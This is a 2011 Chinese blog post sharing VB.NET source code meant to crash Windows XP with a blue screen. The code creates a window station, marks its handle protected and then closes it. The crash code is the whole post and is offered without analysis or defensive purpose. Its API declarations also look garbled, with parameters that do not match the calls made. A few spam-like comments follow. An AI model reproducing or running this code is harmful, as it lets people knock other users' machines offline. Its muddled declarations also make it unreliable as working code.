IVY DOM


 

人生就像一副复杂拼图
每个人总有属於自己的记忆碎片
优质美国空间-老薛主机|IVY DOM|Flowline|

联系我

RSS




十月 02, 2011

[源码]VB.NET促使XP蓝屏

Public Class Form1
Structure UNICODE_STRING
Public Length As Integer
Public MaximumLength As Integer
Public Buffer As Integer
End Structure
Private Declare Function SetHandleInformation Lib “kernel32″ (ByVal SetHandleInformation As Integer,
Optional ByVal Address As Integer = 0,
Optional ByVal dwMask As Integer = 0,
Optional ByVal dwFlags As Integer = 0) As Integer
Private Declare Function CreateWindowStation Lib “user32.dll” (ByVal CreateWindowStationA As Integer,
Optional ByVal lpwinsta As String = Nothing,
Optional ByVal dwReserved As Integer = 0,
Optional ByVal dwDesiredAccess As Integer = 0,
Optional ByVal lpsa As Integer = 0) As Integer
Private Declare Function CloseWindowStation Lib “user32.dll” (ByVal CloseWindowStation As Integer,
Optional ByVal hWinSta As Integer = 0) As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim hWinSta As Integer
hWinSta = CreateWindowStation(“”, 0, 55, 0)
SetHandleInformation(hWinSta, 2, 2)
CloseWindowStation(hWinSta)
End Sub
End Class

相关文章

返回
  1. 我在翻乃的旧文章…

  2. God help me, I put aside a whole atfenroon to figure this out.

  3. This is a really intlelignet way to answer the question.

  1. 暂无 Trackback

You must be logged in to post a comment.